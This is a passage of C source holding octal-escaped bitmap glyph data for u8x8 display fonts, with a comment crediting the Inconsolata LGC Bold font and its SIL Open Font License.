\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\177\\17\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\376\\377\\377\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\177\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\36\\37\\77\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\177\\37\\17\\17\\7\\7\\7\\7\\7\\7\\17\\37\\77\\376\\374\\370\\360\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\374\\377\\377\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374~\\37\\177\\377\\377\\377\"\n  \"\\370\\200\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\177\\37\\17\\7\\1\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\7\\177\\377\\377\\377\\374\\360\\370\\376\\177\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\377\\377\\377\"\n  \"\\377\\7\\0\\0\\0\\0\\0\\3\\17\\37\\177\\377\\377\\370\\360\\340\\300\\300\\200\\200\\200\\200\\300\\300\\340\\360\\374\\377\\177\\77\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\60x\\70<<>\\36\\37\\37\\17\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\70|\\376~\\37\\17\\17\\7\\7\\7\\7\\7\\7\\7\\7\\17\\17\\37\\177\\377\\376\\374\\370\\340\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\341\\377\\377\\377\\377\"\n  \"\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\376\\177\\77\\37\\17\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\376\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\377\\237\\217\\203\\201\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\14\\36\\77\\37\\17\\17\\7\\7\\7\\7\\3\\7\\7\\7\\17\\17\\37\\177\\377\\376\\374\\370\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\377\\377\\377\\177\\37\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0>>\\36>>\\77\\77\\77\\177\\377\\377\\373\\363\\341\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\377\\377\\377\\377\\370\"\n  \"\\0\\0\\0\\0\\0\\0@\\340\\360\\374\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\374\\377\\377\\177\\77\\37\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\177\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\\77\\37\\7\\3\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\77\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0<\\77\\77\\77\\77=<<<<<<<<<<<<\\377\\377\\377\\377\\377<<<<\"\n  \"<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\\300\\300\\300\\340\\340\\340\\340\\340\\340\\340\\300\\300\\300\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\77\\37\\17\\7\\3\\3\\3\\3\\1\\3\\3\\3\\3\\7\\17\\37\\77\\377\\377\\376\\374\"\n  \"\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\60x\\374\\374\\374\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\374\\377\\377\\177\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\374\\376\\77\\37\\17\\17\\7\\7\\7\\3\\7\\7\\7\\7\\17\\37\\37\\17\\6\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\376\\377\\377\\377\\177\\3\\0\\0\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\370>\\37\\17\\17\\7\\3\\3\\3\\3\\3\\7\\7\\17\\37\\177\\377\\376\\374\\370\"\n  \"\\340\\0\\0\\0\\0\\0\\0\\77\\377\\377\\377\\377\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\203\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\3\\17\\77\\177\\377\\376\\370\\360\\340\\300\\300\\200\\200\\200\\200\\200\\300\\340\\360\\374\\377\\377\\177\\77\"\n  \"\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\303\\373\\377\\377\\377\\177\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\377\\377\\377\\77\\17\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\377\\377\\377\\77\\7\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\177\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\377\\177\\37\\17\\7\\7\\7\\7\\7\\7\\7\\17\\17\\37\\377\\377\\376\\374\\370\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77\\377\\377\\377\\374\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\300\\340\\374\\377\\377\\177\\77\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\301\\343\\363\\367\\177\\77\\37\\37\\36>>\\177\\177\\377\\367\\363\\341\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\374\\376\\377\\377\\37\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\\377\\376\"\n  \"\\370\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\377\\370\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\374\\377\\377\\177\\77\"\n  \"\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\\376\\377\\177\\37\\17\\7\\7\\7\\3\\7\\7\\7\\17\\37\\77\\177\\376\\374\\370\\340\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\203\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\377\\377\"\n  \"\\374\\0\\0\\0\\0\\0\\0\\1\\17\\37\\177\\377\\377\\374\\370\\360\\340\\300\\300\\300\\300\\300\\340\\340\\360\\360x>\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\1\\0\\0\\340\\377\\377\\377\\377\"\n  \"\\37\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\376\\177\\77\\37\\7\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360\\360\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--30-300-72-72-P-147-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Emboldened by MihailJP.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 191/658\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_inb21_2x4_f[14340] U8X8_FONT_SECTION(\"u8x8_font_inb21_2x4_f\") = \n  \" \\377\\2\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0x\\374\\374\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\363\\363\\363\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\\374\\0\\0\\0\\370\\374\\374\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\20\\0\\0\\360\\360\\360\\20\\0\\0\\16\\16\\16\\356\\377\\377\\17\\6\\6\\366\\377\\377\"\n  \"\\37\\16\\16\\16\\7\\7\\347\\377\\377\\37\\7\\7\\367\\377\\377\\17\\7\\7\\7\\0\\0\\0\\1\\1\\1\\0\\0\\0\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360p\\374\\374\\374tp\\340\\340\\300@\\0\\0\\7\\37\\37>\\70\\377\\377\\377\\360\\340\"\n  \"\\340\\301\\301\\200\\0\\0\\70|p\\340\\340\\377\\377\\377\\340\\340q\\177\\77\\37\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\340\\360\\360p\\360\\340\\340\\300\\0\\0\\300\\360\\360p\\20\\7\\17\\17\\36\\34\\37\\337\\357\\377\\376\\77\\17\"\n  \"\\7\\1\\0\\0\\0\\200\\340\\360\\374\\77\\37\\7}\\376\\377\\307\\307\\377\\376\\376\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\200\\340\\340\\360pp\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\207\\337\\377\\377\\360\\360\\370\\277\\37\\17\"\n  \"\\0\\200\\200\\0>\\177\\377\\367\\341\\300\\300\\301\\343\\357\\377~|\\377\\357\\307\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360x<\\34\\20\\0\\0\\0\\0\\0\\360\\376\\377\\177\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\177\\377\\377\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\36<\"\n  \"\\70x\\20\\0\\0\\0<\\70x\\360\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\377\\376\\370\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\377\\377\\77\\0\\0\\0\\0\\0\\20p\\70<\\36\\37\\17\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\20<\\70\\70\\60\\360\\343\\377\\377\\347\\360\\60\"\n  \"\\70\\70<\\0\\0\\0\\10\\36\\37\\17\\3\\1\\1\\3\\17\\37\\36\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\377\\377\\377\\340\\340\\340\"\n  \"\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\61;\\37\\17\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppppppppppp\"\n  \"pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\360\\60\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\77\\17\"\n  \"\\3\\0\\0\\0\\0\\0\\200\\340\\370\\376\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\2\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360ppp\\360\\340\\300\\200\\0\\0\\0\\370\\377\\377\\77\\3\\0\\300\\340x<\\17\"\n  \"\\377\\377\\377\\370\\0\\7\\37\\77\\177\\376\\347\\303\\300\\300\\340\\360\\377\\177\\37\\7\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\340pppp\\360\\340\\340\\300\\200\\0\\0\\0\\0\\1\\3\\0\\0\\0\\200\\300\\340\\361\\377\"\n  \"\\177\\37\\0\\0\\0\\300\\340\\370\\374\\336\\317\\307\\303\\301\\301\\300\\300\\300\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0@\\340\\340\\360pppp\\360\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0ppppx\\370\\377\"\n  \"\\337\\217\\0\\0\\0\\0`\\360\\360\\340\\300\\300\\300\\300\\340\\373\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\360\\360\\0\\0\\0\\0\\0\\200\\300\\360\\370<\\17\\7\\1\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\16\\17\\17\\17\\16\\16\\16\\16\\16\\377\\377\\377\\16\\16\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\360\\360\\360ppppppppp\\0\\0\\0\\0\\77\\177\\177\\70\\34\\34\\34\\34<\\370\"\n  \"\\370\\340\\300\\0\\0 p\\370\\360\\340\\300\\300\\300\\300\\340\\377\\177\\77\\17\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\300\\340\\360pppp\\360\\340`\\0\\0\\0\\374\\377\\377\\377\\71<\\34\\34\\34<\\370\"\n  \"\\370\\340\\300\\0\\0\\17\\77\\177\\376\\360\\340\\300\\300\\300\\340\\377\\177\\77\\17\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0ppppppppp\\360\\360\\360p\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\77\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\200\\360\\374\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360ppp\\360\\340\\340\\300\\0\\0\\0\\0\\7\\237\\377\\377\\360p`\\360\\370\\377\"\n  